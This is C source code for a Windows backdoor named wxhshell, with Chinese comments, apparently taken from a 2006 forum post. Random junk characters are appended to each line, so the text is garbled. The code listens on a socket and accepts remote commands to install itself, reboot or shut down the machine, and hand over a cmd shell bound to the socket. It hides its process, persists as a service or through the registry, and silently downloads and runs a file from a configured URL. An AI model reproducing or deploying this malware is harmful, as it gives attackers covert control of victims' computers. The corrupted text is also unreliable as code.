  } J0^p\mG  
  else { >C@fSmnOM  
2N`Vx3  
    switch(cmd[0]) { k5W5 9tz  
  3vDV   
  // 帮助 AQ@A$  
  case '?': { ZO:{9vt=/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  Q"%L  
    break; %xL3=4\  
  } POx~m  
  // 安装 :Ruj;j  
  case 'i': { Xig%Q~oMp  
    if(Install()) >KC*xa"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wMei`svY  
    else 9NKZE?5P|D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wHdq:,0-!  
    break; ?^0#:QevC  
    } ;z!~-ByzL  
  // 卸载 (Z sdj  
  case 'r': { l0Y(9(M@  
    if(Uninstall()) =v1s@5 ;~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^h=;]vxO  
    else BB=%tz`B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @^/JNtbH!  
    break; zI(b#eUF  
    } #2|sS|0<  
  // 显示 wxhshell 所在路径 XgU]Ktl  
  case 'p': { NcRY Ch  
    char svExeFile[MAX_PATH]; ,c}Q;eYc3  
    strcpy(svExeFile,"\n\r"); no^I![_M  
      strcat(svExeFile,ExeFile); ^P(HX  
        send(wsh,svExeFile,strlen(svExeFile),0); dLG5yx\js  
    break; ( 8k3z`  
    } .#EmE'IP*  
  // 重启 F6YMcdU  
  case 'b': { 2A {k>TjQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^BSMlKyB  
    if(Boot(REBOOT)) n+j'FfSz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Ax~zk;  
    else { Fp|x,-  
    closesocket(wsh); 3x.|g   
    ExitThread(0); WZ;f3 "  
    } M%sWtgw(  
    break; =M ?  
    } =)(sN"%  
  // 关机 -.i1l/FzP  
  case 'd': { ^~8l|d_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #Z(8 vA^@  
    if(Boot(SHUTDOWN)) 8iR%?5 >K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y M/^-[k3  
    else { gey`HhZp)  
    closesocket(wsh); s 3Y \,9\  
    ExitThread(0); , B h[jb`y  
    } )# M*@e$k  
    break; Ga"$_DyM  
    } 5}E8Tl  
  // 获取shell mf^(Tq[  
  case 's': { 2Pasmh  
    CmdShell(wsh); -@<k)hWr  
    closesocket(wsh); gfFP-J3cN  
    ExitThread(0); x^;nQas;  
    break; \HV%579  
  } dEJ>8e8  
  // 退出 }"2 0:  
  case 'x': { O83vPK 3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^1Y0JQ  
    CloseIt(wsh); LH3PgGi,  
    break; _Z@- q  
    } 0ppZ~}&  
  // 离开 #p6#,PZ  
  case 'q': { 5<Xq7|Jt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8lT.2H  
    closesocket(wsh); a<rk'4,8a  
    WSACleanup(); ` ` 6?;Y  
    exit(1); QY/36gK  
    break; cc Z A  
        } -_4U+Cfmtl  
  } MX xRM~  
  } vB#&XK.aW  
Cn[`]  
  // 提示信息 U8\[8~Xftn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,ZC^,Vq  
} l{E+j%  
  } 5kofO  
oost}%WxN  
  return; 8m2-fuJz  
} .3t[M0sd  
.UU BAyjm  
// shell模块句柄 uy9k^4Cqa  
int CmdShell(SOCKET sock) +Y0Wiwr'  
{ >s1'I:8  
STARTUPINFO si; bYYyXM  
ZeroMemory(&si,sizeof(si)); ez"Xb 7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "nf.kj:>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YJ'h=!p}G  
PROCESS_INFORMATION ProcessInfo; FQ*4?D,A  
char cmdline[]="cmd"; 9P#E^;L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AL>*Vj2h/n  
  return 0; QyuSle  
} f.!)O@HzH  
Rq%g5lK  
// 自身启动模式 ?PO~$dUc]  
int StartFromService(void) BHy#g>KUF  
{ `i<;5s!rX  
typedef struct IX7<  
{ NX4!G>v  
  DWORD ExitStatus; eva-?+n\q  
  DWORD PebBaseAddress; KDhr.P.~  
  DWORD AffinityMask; ^z-e"  
  DWORD BasePriority; ;H9d.D8  
  ULONG UniqueProcessId; >?ZH[A  
  ULONG InheritedFromUniqueProcessId; ^,]'Ut  
}   PROCESS_BASIC_INFORMATION; )@DH&  
Xm8 1axyf  
PROCNTQSIP NtQueryInformationProcess; 6.kX~$K  
"2o,XF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *Em 9R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :vz_f$=  
7^4F,JuJO  
  HANDLE             hProcess; 2-Y%W(bEzs  
  PROCESS_BASIC_INFORMATION pbi; XO~xbG7>gZ  
yd2v_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >:!TfuU^R  
  if(NULL == hInst ) return 0; JEL =,0J  
DBANq\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); awQ f$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .?UK`O2Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vE0Ty9OH"]  
m=b~Wf39  
  if (!NtQueryInformationProcess) return 0; lG;RfDI-  
*G7$wW:?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D *RF._  
  if(!hProcess) return 0; dVmI.A'nbp  
8`XT`H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pou-AzEP$  
}A3(g$8KR  
  CloseHandle(hProcess); qRT1Wre 3  
^B8%Re%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y O;N9wu3f  
if(hProcess==NULL) return 0; R| [mp%Q  
/bv `_ >  
HMODULE hMod; +h_'hz&HlS  
char procName[255]; p1 > D  
unsigned long cbNeeded; ^UHt1[  
DksSD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uUu]JDdz  
/Aoo h~  
  CloseHandle(hProcess); fz#e4+oH  
hG .>>  
if(strstr(procName,"services")) return 1; // 以服务启动 "v@$CR9<T  
pMnkh}Q#  
  return 0; // 注册表启动 4vKp341B  
} R`q*a_  
mk.:V64 >;  
// 主模块 +a_eNl,  
int StartWxhshell(LPSTR lpCmdLine) ":E 7#9  
{ :M)B#@ c=  
  SOCKET wsl; 6C@,&2<yK  
BOOL val=TRUE; v*`$is+  
  int port=0; 8gwJ%"-K  
  struct sockaddr_in door;  5 fY\0  
JYB"\VV  
  if(wscfg.ws_autoins) Install(); j3jf:7 /\  
2V %si6  
port=atoi(lpCmdLine); ,Q!sns[T  
<;< _f U  
if(port<=0) port=wscfg.ws_port; v1%rlP  
Fw? ;Y%  
  WSADATA data; 5m{!Rrb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |!:ImX@  
d~@&*1}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9,wd,,ta  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F`KA^ZI  
  door.sin_family = AF_INET; .|`J S?L[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M&o@~z0  
  door.sin_port = htons(port); #s'9Ydd  
I:l<t*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2Pn  
closesocket(wsl);  *X- 6]C  
return 1; ZlD\)6 dZ  
} C%#=@HC  
'lNy&  
  if(listen(wsl,2) == INVALID_SOCKET) { 7.)e4  
closesocket(wsl); !dQG 5v  
return 1; COPH)Bdq.  
} 6p`AdDV  
  Wxhshell(wsl); 4#Wczk-b  
  WSACleanup(); #T:#!MKa  
F0h`>{1%  
return 0; KPO?eeT.WZ  
sUA==k  
} @b[{.m U  
"`]G>,r_  
// 以NT服务方式启动 ^_W+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ` b a}6D  
{ [r,a0s  
DWORD   status = 0; s&:LY"[`  
  DWORD   specificError = 0xfffffff; [iVCorU  
Pf&\2_H3s9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?HwW~aO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y"~Tf{8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |hBX"  
  serviceStatus.dwWin32ExitCode     = 0; KW.*LoO  
  serviceStatus.dwServiceSpecificExitCode = 0; v5 STe`  
  serviceStatus.dwCheckPoint       = 0; 9}p>='  
  serviceStatus.dwWaitHint       = 0; A;~lG3j4  
G|eY$5!i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S9/oBxGN  
  if (hServiceStatusHandle==0) return; / blVm1F  
 1@Abs  
status = GetLastError(); S+(TRIjk  
  if (status!=NO_ERROR) ":s1}A  
{ '&/ 35d9|*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z}I=:  
    serviceStatus.dwCheckPoint       = 0; *J[3f]PBmR  
    serviceStatus.dwWaitHint       = 0; xs+pCK|  
    serviceStatus.dwWin32ExitCode     = status; `-a](0Q U  
    serviceStatus.dwServiceSpecificExitCode = specificError; O.61-rp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +M4X r *  
    return; { FVLH:{U^  
  } X(s HFVU+  
\Tf[% Kt x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6*yt^[W  
  serviceStatus.dwCheckPoint       = 0; DUBEh@  
  serviceStatus.dwWaitHint       = 0; 05= $Dnv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h'*>\eC6  
} 8!8 yA  
4n6EkTa  
// 处理NT服务事件,比如:启动、停止 .m--# r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /.PjHTM<  
{ ]2O52r  
switch(fdwControl) YrlOvXW  
{ JjBG9Rp{  
case SERVICE_CONTROL_STOP: cuv?[ M  
  serviceStatus.dwWin32ExitCode = 0; ,/{(8hn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +; /]'  
  serviceStatus.dwCheckPoint   = 0; ^{z@=o<o  
  serviceStatus.dwWaitHint     = 0; Bw5zh1ALC;  
  { mOiA}BGw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Xj9sAB  
  } SvR:tyF  
  return; M0Eq 7:Ba  
case SERVICE_CONTROL_PAUSE: E?$|`<o{|`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]/byz_7]  
  break; ""AP-7  
case SERVICE_CONTROL_CONTINUE: e,j2#wjor  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Po+I!TL'  
  break; ~W?F.  
case SERVICE_CONTROL_INTERROGATE: oWCy%76@  
  break; z4qw*. 5  
}; 8sMDe'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &)(>e}es  
} :exgdm;N  
#&Xr2?E@  
// 标准应用程序主函数 %V40I{1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g&z)y  
{ 2'R ;z< _  
?-'m#5i"  
// 获取操作系统版本 /-Saz29f^Q  
OsIsNt=GetOsVer(); FE}!I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >j5,Z]  
h8R3N?S3#  
  // 从命令行安装 R$[nYw  
  if(strpbrk(lpCmdLine,"iI")) Install(); f?KHp|  
aQ@9(j> F  
  // 下载执行文件 r'!HWR  
if(wscfg.ws_downexe) { q_0So}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #Az#dt]H  
  WinExec(wscfg.ws_filenam,SW_HIDE); OR{<)L  
} !v^{n+  
M84{u!>[  
if(!OsIsNt) { to}g4  
// 如果时win9x,隐藏进程并且设置为注册表启动 dv?ael^  
HideProc(); +I>u${sVx*  
StartWxhshell(lpCmdLine); uc.dtq!   
} CV9o,rL  
else J%8M+!`F  
  if(StartFromService()) 4CUoXs'  
  // 以服务方式启动 2(SU# /,  
  StartServiceCtrlDispatcher(DispatchTable); <>gX'te  
else E5^P*6c(  
  // 普通方式启动 ny(`An  
  StartWxhshell(lpCmdLine); _J|TCm  
YY! Lv:.7>  
return 0; O)0}yF$0  
}
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只看该作者 1 发表于: 2006-10-10
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